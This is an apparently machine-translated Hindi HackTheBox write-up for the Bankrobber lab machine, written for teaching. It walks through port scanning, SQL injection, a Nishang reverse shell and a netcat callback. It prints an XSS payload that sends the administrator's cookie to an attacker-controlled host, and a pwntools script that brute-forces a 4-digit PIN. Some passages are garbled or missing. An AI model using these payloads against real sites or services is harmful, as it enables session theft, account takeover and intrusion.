मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं । मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम XSS के माध्यम से साइट प्रशासक की कुकीज़ चुरा लेंगे, SQL इंजेक्शन का उपयोग कर कोड का पता लगा लेंगे, XSS और CSRF का उपयोग करके कमांड एक्ज़ीक्यूटिव फॉर्म के माध्यम से शेल प्राप्त करेंगे, विंडोज से पोर्ट को पॉकेट में लाएँगे, और pwntools का उपयोग करके आसान मनी एप्लीकेशन के पिन को ट्विस्ट करेंगे।प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि एक कार्य कंप्यूटर या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, क्योंकि आप उन लोगों के साथ एक निजी नेटवर्क में आते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)संगठनात्मक जानकारी, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
टोह
इस मशीन का आईपी एड्रेस 10.10.10.154 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।10.10.10.154 bankrobber.htb
सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम प्रति सेकंड 500 पैकेट की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
अब, बंदरगाहों पर काम करने वाली सेवाओं के बारे में अधिक विस्तृत जानकारी के लिए, हम -ए विकल्प के साथ एक स्कैन चलाएंगे।nmap -A bankrobber.htb -p80,443,445,3306
होस्ट में एक वेब सर्वर और SMB है, और MySQL भी उपलब्ध है। SMB और MySQL हमें कुछ नहीं देते हैं, इसलिए वेब पर देखें।
बिटकॉइन वेबसाइट प्रस्तुत की गई है जहां हम पंजीकरण कर सकते हैं।
चलो रजिस्टर करें और लॉग इन करें। हमें फंड ट्रांसफर करने के लिए एक फॉर्म दिया जाता है।
एक सरल परीक्षण अनुरोध पूरा करने के बाद, हमें एक संदेश मिलता है। इसमें कहा गया है कि प्रशासक हमारे लेनदेन के अनुरोध पर विचार करेगा और निर्णय करेगा।
यह XSS का एक बहुत बड़ा संकेत है। आइए एडमिन कुकी को चुराने की कोशिश करते हैं। सबसे पहले, स्थानीय HTTP सर्वर को तैनात करें।
अब हम लेन-देन के अनुरोध को निष्पादित करते हैं, एक संदेश के रूप में निम्नलिखित जेएस लोड को निर्दिष्ट करते हुए।<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
इस प्रकार, एक तस्वीर अपलोड करने की कोशिश कर रहा है, स्क्रिप्ट इस पते पर जाएगी और एक पैरामीटर के रूप में हमें उस खाते की कुकीज़ भेज देगी जिसके तहत स्क्रिप्ट निष्पादित की गई थी (इस मामले में, व्यवस्थापक)।
यह बेस 64 जैसा दिखता है। हम प्रशासक लॉगिन और पासवर्ड को डिकोड और प्राप्त करते हैं।
व्यवस्थापक के रूप में लॉग इन करें और देखें कि हमारे लिए क्या नया है। उपयोगकर्ता के खोज क्षेत्र में एक उद्धरण भेजने से, हमें एक त्रुटि मिलती है - एक इंजेक्शन है।
एक अन्य सर्वर dir कमांड मांगता है।
लेकिन केवल लोकलहोस्ट ही जवाब देता है।
SQL इंजेक्शन पर वापस आते हैं।
हम स्तंभों की संख्या निर्धारित करते हैं और उनमें से कौन सा प्रदर्शित किया जाता है।
इस प्रकार, पहले और दूसरे स्तंभ प्रदर्शित होते हैं।उपयोगकर्ता
थोड़ा बैठने के बाद, हम कुछ भी दिलचस्प नहीं पाते हैं। चलो पिछले दरवाजे मॉड्यूल पर चलते हैं। एक घटना का पता लगाएं जो एक बटन क्लिक का जवाब देती है।
ब्राउज़र कंसोल पर जाएं और फ़ंक्शन का नाम दर्ज करें।
हम फ़ंक्शन के लिंक का अनुसरण करते हैं।
और हम पाते हैं कि अनुरोध कहां जाता है। इंजेक्शन के लिए धन्यवाद, हम फ़ाइल (पहली बार मैंने डिफ़ॉल्ट xampp पथ का अनुमान लगाया) पढ़ सकते हैं।
इस प्रकार, यदि कमांड "dir" लाइन में मौजूद है, तो कमांड निष्पादित किया जाएगा। यह हमें आदेशों की एक श्रृंखला भेजने की अनुमति देता है। यह एक से निपटने के लिए बनी हुई है, अनुरोध लोकलहोस्ट से आना चाहिए। हम XSS और callSys () फ़ंक्शन को याद करते हैं, जिसे हम अनुरोध भेजने के लिए कॉल कर सकते हैं। हमारी धारणा की जाँच करें।
चूंकि कमांड पूरा हो गया है, आइए पैकेज से इनवोक-पॉवरशेल्प स्क्रिप्ट का उपयोग करके आरसीई को निष्पादित करेंनिशांग ।
जड़
सबसे पहले, हम सिस्टम की बुनियादी गणना का संचालन करते हैं। इसके लिए हम winPEAS का उपयोग करते हैं ।
सभी आउटपुट से हम लोकलहोस्ट 910 पर पोर्ट को खोलते हैं।
देखते हैं कि इस पर क्या है। पहले आपको पोर्ट फेंकने की आवश्यकता है। सभी कार्यक्रमों के बीच, सबसे सुविधाजनक समाधान छेनी है । लोकलहोस्ट और रिमोट होस्ट पर रन करें।
अब कनेक्ट करें और देखें कि क्या है।
4 अंकों का पिन कोड आवश्यक है। हम इसे सुलझा लेंगे।
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="\r")
clear()
r.sendafter('[$] ', PIN+"\n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
हमें पिन कोड मिलता है और हमें लेनदेन राशि दर्ज करने के लिए कहा जाता है। हम ऐसा करते हैं और कुछ नहीं होता है।
प्रशासक के रूप में चल रहे कार्यक्रम में राशि हस्तांतरित की जाती है। अधिक कुछ नहीं ढूंढने पर, हम 100 वर्णों की राशि के रूप में स्थानांतरित होते हैं।
और हम देखते हैं कि प्रोग्राम लॉन्च लाइन हमारी रेखा के हिस्से में कैसे बदल गई है। आइए देखें कि यह किस सूचकांक से हुआ है।
इस प्रकार, यदि हम किसी अन्य प्रोग्राम के नाम के साथ एक लाइन पास करते हैं, तो इसे निष्पादित किया जाएगा। चलो देखते है।

और धारणा सच है। आरंभ करने के लिए, netcat डाउनलोड करें।
और अब वापस कनेक्ट करते हैं।
सिस्टम विशेषाधिकार प्राप्त करना।आप हमसे टेलीग्राम पर जुड़ सकते हैं। आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।